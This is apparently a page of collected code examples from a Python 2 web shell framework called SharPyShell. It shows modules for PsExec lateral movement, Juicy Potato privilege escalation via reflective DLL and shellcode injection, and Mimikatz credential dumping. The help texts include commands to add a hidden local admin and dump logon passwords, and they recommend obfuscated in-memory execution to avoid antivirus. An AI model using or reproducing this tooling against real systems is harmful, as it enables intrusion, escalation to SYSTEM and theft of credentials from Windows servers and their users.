        request = self._create_request(
            [[psexec_code_arguments, local_user, local_password, local_domain],
             psexec_path, 'runas'])
        encrypted_request = self._encrypt_request(request)
        encrypted_response = self._post_request(encrypted_request)
        decrypted_response = self._decrypt_response(encrypted_response)
        return decrypted_response

    def __parse_run_args(self, args):
        if len(args) < 4:
            raise self._exception_class(
                '#lateral_psexec: Not enough arguments. 4 Arguments required.\n'
            )
        args_parser = {k: v for k, v in enumerate(args)}
        target_ip = args_parser.get(0)
        username = args_parser.get(1)
        password = args_parser.get(2)
        command = args_parser.get(3)
        runas_system = args_parser.get(4, self.__default_runas_system)
        local_user = args_parser.get(5, self.__default_local_user)
        local_password = args_parser.get(6, self.__default_local_password)
        local_domain = args_parser.get(7, self.__default_local_domain)
        return target_ip, username, password, command, runas_system, local_user, local_password, local_domain

    def _create_request(self, args):
        arguments, psexec_path, request_type = args
        working_path = self._module_settings['working_directory']
        if request_type == 'runas':
            psexec_code_arguments, local_user, local_password, local_domain = arguments
            stdout_file = self._module_settings[
                'env_directory'] + '\\' + random_generator()
            stderr_file = self._module_settings[
                'env_directory'] + '\\' + random_generator()
            request = self._runtime_code_runas % (
                psexec_path, local_user, local_password, local_domain,
                psexec_code_arguments, stdout_file, stderr_file, working_path)
        else:
            psexec_code_arguments = arguments
            request = self._runtime_code % (psexec_path, psexec_code_arguments,
                                            working_path)
        return request

    def run(self, args):
        try:
            target_ip, username, password, command, runas_system,\
                local_user, local_password, local_domain = self.__parse_run_args(args)
            psexec_priv_flag = '-s' if runas_system == 'true' else '-h'
            psexec_code_arguments = self.__psexec_code_arguments % (
                target_ip, username, password, psexec_priv_flag, command)
            psexec_path = self.__lookup_psexec_binary()
            if local_user == '':
                response = self.__run_as_current_user(psexec_path,
                                                      psexec_code_arguments)
            else:
                response = self.__run_as(psexec_path, psexec_code_arguments,
                                         local_user, local_password,
                                         local_domain)
            parsed_response = self._parse_response(response)
        except ModuleException as module_exc:
            parsed_response = str(module_exc)
        except Exception:
            parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' +\
                              str(traceback.format_exc())
        return parsed_response
示例#8
0
class Privesc_juicy_potato(Module):
    _exception_class = PrivescJuicyPotatoModuleException
    short_help = r"Launch InMem Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM"
    complete_help = r"""
        Authors:    @decoder @ohpe @phra @lupman
        Links:      https://github.com/ohpe/juicy-potato
                    https://github.com/phra/metasploit-framework/blob/e69d509bdf5c955e673be44b8d87b915272836d9/modules/exploits/windows/local/ms16_075_reflection_juicy.rb
        
        
        Juicy Potato is a Local Privilege Escalation tool that allows to escalate privileges from a Windows Service
        Accounts to NT AUTHORITY\SYSTEM.
        This permits to run an os command as the most privileged user 'NT AUTHORITY\SYSTEM'.
        It is needed that the service account running w3wp.exe has the permission of 'SeImpersonatePrivilege' enabled. 
        You can check it with 'whoami /priv' 
        
        This vulnerability is no longer exploitable with Windows Server 2019:
        https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/
        
        
        Usage:
            #privesc_juicy_potato cmd [exec_type] [clsid] [custom_shellcode_path]
        
        Positional arguments:
            cmd                     command supported by cmd.exe
            exec_type               Type of execution of juicy potato, values can be:
                                        - 'reflective_dll'
                                        - 'exe'
                                    Default: 'reflective_dll'
            clsid                   target CLSID to reflect
                                    Default: '{4991d34b-80a1-4291-83b6-3328366b9097}' (BITS)
            custom_shellcode_path   path to a file containing shellcode (format raw)
                                    if set, this module will ignore 'cmd' argument
                                    Default: 'default'
        
        Examples:
            Add a new local admin:
                #privesc_juicy_potato 'net user /add admin_test JuicyAdmin_1_2_3! /Y & net localgroup Administrators admin_test /add'
            Run juicy reflecting a custom COM CLSID:
                #privesc_juicy_potato 'echo custom_clsid > C:\windows\temp\custom_clsid.txt' 'reflective_dll' '{752073A1-23F2-4396-85F0-8FDB879ED0ED}'
            Run whoami with the classic Juicy Potato binary:
                #privesc_juicy_potato 'whoami > C:\windows\temp\whoami_juicy.txt' 'exe'
    """

    _runtime_code = ur"""
                   using System;using System.IO;using System.Diagnostics;using System.Text;
                   public class SharPyShell
                   {                    
                       string ExecCmd(string exe_path, string arguments, string cmd, string working_path)
                       {
                           string cmd_path = Environment.GetEnvironmentVariable("ComSpec");
                           ProcessStartInfo pinfo = new ProcessStartInfo();
                           pinfo.FileName = exe_path;
                           pinfo.Arguments = arguments + " " + cmd_path + " -a \" " + cmd_path + " /c " + cmd + "\"";
                           pinfo.RedirectStandardOutput = true;
                           pinfo.RedirectStandardError = true;
                           pinfo.UseShellExecute = false;
                           pinfo.WorkingDirectory = working_path;
                           Process p = new Process();
                           try{
                               p = Process.Start(pinfo);
                           }
                           catch (Exception e){
                               return "{{{SharPyShellError}}}\n" + e;
                           }
                           StreamReader stmrdr_output = p.StandardOutput;
                           StreamReader stmrdr_errors = p.StandardError;
                           string output = "";
                           string stand_out = stmrdr_output.ReadToEnd();
                           string stand_errors = stmrdr_errors.ReadToEnd();
                           stmrdr_output.Close();
                           stmrdr_errors.Close();
                           if (!String.IsNullOrEmpty(stand_out))
                               output = output + stand_out;
                           if (!String.IsNullOrEmpty(stand_errors))
                               output = "{{{SharPyShellError}}}\n" + output + stand_errors;
                           return output;
                       }

                       public byte[] ExecRuntime()
                       {
                           string output_func=ExecCmd(@"%s", @"%s", @"%s", @"%s");
                           byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
                           return(output_func_byte);
                       }
                   }
                   """

    __default_exec_type = 'reflective_dll'
    __default_clsid = '{4991d34b-80a1-4291-83b6-3328366b9097}'
    __default_custom_shellcode_path = 'default'

    def __init__(self, password, channel_enc_mode, module_settings, request_object):
        Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
        self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object)
        self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode, module_settings, request_object)
        self.inject_dll_reflective_module_object = Inject_dll_reflective(password, channel_enc_mode,
                                                                         module_settings, request_object)

    def __parse_run_args(self, args):
        if len(args) < 1:
            raise self._exception_class('#privesc_juicy_potato : Not enough arguments.1 Argument required. \n')
        args_parser = {k: v for k, v in enumerate(args)}
        cmd = args_parser.get(0)
        exec_type = args_parser.get(1, self.__default_exec_type)
        self.__random_listening_port = str(random.randint(10000, 65000))
        clsid = args_parser.get(2, self.__default_clsid)
        arguments = ' -t * -l %s -c %s -p '
        arguments = arguments % (self.__random_listening_port, clsid)
        custom_shellcode_path = args_parser.get(3, self.__default_custom_shellcode_path )
        return cmd, exec_type, arguments, custom_shellcode_path, clsid

    def __lookup_binary(self):
        if 'JuicyPotato.exe' in self._module_settings.keys():
            bin_path = self._module_settings['JuicyPotato.exe']
        else:
            exe_path = config.modules_paths + 'exe_modules/JuicyPotato.exe'
            remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe'
            print '\n\n\nUploading Juicy Potato binary....\n'
            upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path]))
            print upload_response
            self._module_settings['JuicyPotato.exe'] = remote_upload_path
            bin_path = remote_upload_path
        return bin_path

    def __run_exe_version(self, cmd, arguments):
        exe_path = self.__lookup_binary()
        working_path = self._module_settings['working_directory']
        request = self._runtime_code % (exe_path, arguments, cmd, working_path)
        encrypted_request = self._encrypt_request(request)
        encrypted_response = self._post_request(encrypted_request)
        decrypted_response = self._decrypt_response(encrypted_response)
        parsed_response = self._parse_response(decrypted_response)
        return parsed_response

    def __run_reflective_dll_version(self, cmd, custom_shellcode_path, logfile, clsid):
        LogFile = logfile
        remote_process = 'notepad.exe'
        CLSID = clsid
        ListeningPort = self.__random_listening_port
        RpcServerHost = '127.0.0.1'
        RpcServerPort = '135'
        ListeningAddress = '127.0.0.1'
        if custom_shellcode_path == 'default':
            shellcode_bytes = shellcode.winexec_x64 + 'cmd /c "' + cmd + '"\00'
            thread_timeout = '60000'
        else:
            thread_timeout = '0'
            with open(custom_shellcode_path, 'rb') as file_handle:
                shellcode_bytes = file_handle.read()
        configuration = LogFile + '\00'
        configuration += remote_process + '\00'
        configuration += CLSID + '\00'
        configuration += ListeningPort + '\00'
        configuration += RpcServerHost + '\00'
        configuration += RpcServerPort + '\00'
        configuration += ListeningAddress + '\00'
        configuration += str(len(shellcode_bytes)) + '\00'
        configuration += shellcode_bytes
        configuration_bytes_csharp = '{' + ",".join('0x{:02x}'.format(x) for x in bytearray(configuration)) + '}'
        response = self.inject_dll_reflective_module_object.run(['juicypotato_reflective.dll', 'remote_virtual',
                                                                'cmd.exe', thread_timeout, configuration_bytes_csharp])
        parsed_response = self._parse_response(response)
        return parsed_response

    def _create_request(self, args):
        exe_path, arguments, cmd = args
        working_path = self._module_settings['working_directory']
        return self._runtime_code % (exe_path, arguments, cmd, working_path)

    def run(self, args):
        try:
            cmd, exec_type, arguments, custom_shellcode_path, clsid = self.__parse_run_args(args)
            if exec_type == 'exe':
                response = self.__run_exe_version(cmd, arguments)
            else:
                logfile = self._module_settings['env_directory'] + '\\' + random_generator()
                print '\n\nInjecting Reflective DLL into remote process...'
                response = self.__run_reflective_dll_version(cmd, custom_shellcode_path, logfile, clsid)
                response += '\nReflective DLL injection executed!\n\n'
                if custom_shellcode_path == 'default':
                    response += '\nOutput of juicy potato:\n\n'
                    response += self.exec_cmd_module_object.run(['type ' + logfile + ' & del /f /q ' + logfile])
            parsed_response = self._parse_response(response)
        except ModuleException as module_exc:
            parsed_response = str(module_exc)
        except Exception:
            parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' + str(traceback.format_exc())
        return parsed_response
示例#9
0
 def __init__(self, password, channel_enc_mode, module_settings, request_object):
     Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
     self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object)
     self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode, module_settings, request_object)
     self.inject_dll_reflective_module_object = Inject_dll_reflective(password, channel_enc_mode,
                                                                      module_settings, request_object)
示例#10
0
class Mimikatz(Module):
    _exception_class = MimikatzModuleException
    short_help = "Run an offline version of mimikatz directly in memory"
    complete_help = r"""
        This module allows you to run mimikatz in a versatile way.
        Within this module it is possible to run mimikatz in 2 different way:
            'ps1': an obfuscated ps1 module will be uploaded to the server and get deobfuscated at runtime in memory;
            'exe': the classic mimikatz binary will be uploaded to the server and run with arguments.
        It is recommended to run the ps1 version because it will be obfuscated and run from memory.
        The exe version will be just dropped as clear and could be catched by av scanners.
        Exec_Type can be 'ps1' or 'exe'. 
        
        Source Code: 
            https://github.com/gentilkiwi/mimikatz
            https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
            
        Usage:
            #mimikatz [exec_type] [username] [password] [domain] [custom_command]
        
        Positional arguments:
            exec_type               type of running mimikatz.
                                    'ps1' will upload and execute the powershell version of mimikatz
                                    'exe' will upload and execute the classic version of binary mimikatz
                                    Default: 'ps1'
            username                username of the user to runas the process
            password                password of the user to runas the process
            domain                  domain of the user to runas the process
            custom_command          based on exec_type, the custom command could be:
                                        - 'ps1' : powershell code to add to the ps1 mimikatz module;
                                        - 'exe' : command line arguments to the mimikatz binary;
                                    Default:
                                        'ps1': ';Invoke-Mimikatz -DumpCreds'
                                        'exe': 'privilege::debug sekurlsa::logonpasswords exit'  
        
        Examples:
            Run mimikatz as the current user
                #mimikatz
            Run mimikatz as a specific local user
                #mimikatz 'ps1' 'user1' 'password1'
            Run mimikatz as a specific domain user
                #mimikatz 'ps1' 'user1' 'password1' 'domain'
            Run exe version of mimikatz as the current user
                #mimikatz 'exe'
            Run exe version of mimikatz as a specific user
                #mimikatz 'exe' 'user1' 'password1'
            Run mimikatz with a custom command, i.e. dumping cert
                #mimikatz 'ps1' '' '' '' ';Invoke-Mimikatz -DumpCerts'
            Run mimikatz binary with a custom command, i.e. coffee :)
                #mimikatz 'exe' '' '' '' 'coffee exit'

    """

    __default_exec_type = 'ps1'
    __default_username = ''
    __default_password = ''
    __default_domain = ''
    __default_ps_command = ';Invoke-Mimikatz -DumpCreds'
    __default_exe_command = 'privilege::debug sekurlsa::logonpasswords exit'

    def __init__(self, password, channel_enc_mode, module_settings,
                 request_object):
        Module.__init__(self, password, channel_enc_mode, module_settings,
                        request_object)
        self.upload_module_object = Upload(password, channel_enc_mode,
                                           module_settings, request_object)
        self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode,
                                               module_settings, request_object)
        self.runas_module_object = Runas(password, channel_enc_mode,
                                         module_settings, request_object)
        self.invoke_ps_module_object = Invoke_ps_module(
            password, channel_enc_mode, module_settings, request_object)
        self.invoke_ps_as_module_object = Invoke_ps_module_as(
            password, channel_enc_mode, module_settings, request_object)

    def __parse_run_args(self, args):
        args_parser = {k: v for k, v in enumerate(args)}
        exec_type = args_parser.get(0, self.__default_exec_type)
        username = args_parser.get(1, self.__default_username)
        password = args_parser.get(2, self.__default_password)
        domain = args_parser.get(3, self.__default_domain)
        custom_command = args_parser.get(
            4, self.__default_exe_command
            if exec_type == 'exe' else self.__default_ps_command)
        return exec_type, username, password, domain, custom_command

    def __lookup_exe_binary(self):
        if 'mimikatz.exe' in self._module_settings.keys():
            bin_path = self._module_settings['mimikatz.exe']
        else:
            exe_path = config.modules_paths + 'exe_modules/mimikatz.exe'
            remote_upload_path = self._module_settings[
                'env_directory'] + '\\' + random_generator() + '.exe'
            print '\n\n\nUploading mimikatz binary....\n'
            upload_response = self._parse_response(
                self.upload_module_object.run([exe_path, remote_upload_path]))
            print upload_response
            self._module_settings['mimikatz.exe'] = remote_upload_path
            bin_path = remote_upload_path
        return bin_path

    def __run_exe_version(self, username, password, domain, custom_command):
        try:
            remote_upload_path = self.__lookup_exe_binary()
            if username == '':
                response = self.exec_cmd_module_object.run(
                    ['""' + remote_upload_path + '""' + ' ' + custom_command])
            else:
                response = self.runas_module_object.run([
                    remote_upload_path + ' ' + custom_command, username,
                    password, domain
                ])
            parsed_response = self._parse_response(response)
        except ModuleException as module_exc:
            parsed_response = str(module_exc)
        return parsed_response

    def __run_ps_version(self, username, password, domain, custom_command):
        if username == '':
            response = self.invoke_ps_module_object.run(
                ['Invoke-Mimikatz.ps1', custom_command])
        else:
            response = self.invoke_ps_as_module_object.run([
                'Invoke-Mimikatz.ps1', username, password, custom_command,
                domain
            ])
        parsed_response = self._parse_response(response)
        return parsed_response

    def run(self, args):
        try:
            exec_type, username, password, domain, custom_command = self.__parse_run_args(
                args)
            if exec_type == 'exe':
                response = self.__run_exe_version(username, password, domain,
                                                  custom_command)
            else:
                response = self.__run_ps_version(username, password, domain,
                                                 custom_command)
            parsed_response = self._parse_response(response)
        except ModuleException as module_exc:
            parsed_response = str(module_exc)
        except Exception:
            parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' +\
                              str(traceback.format_exc())
        return parsed_response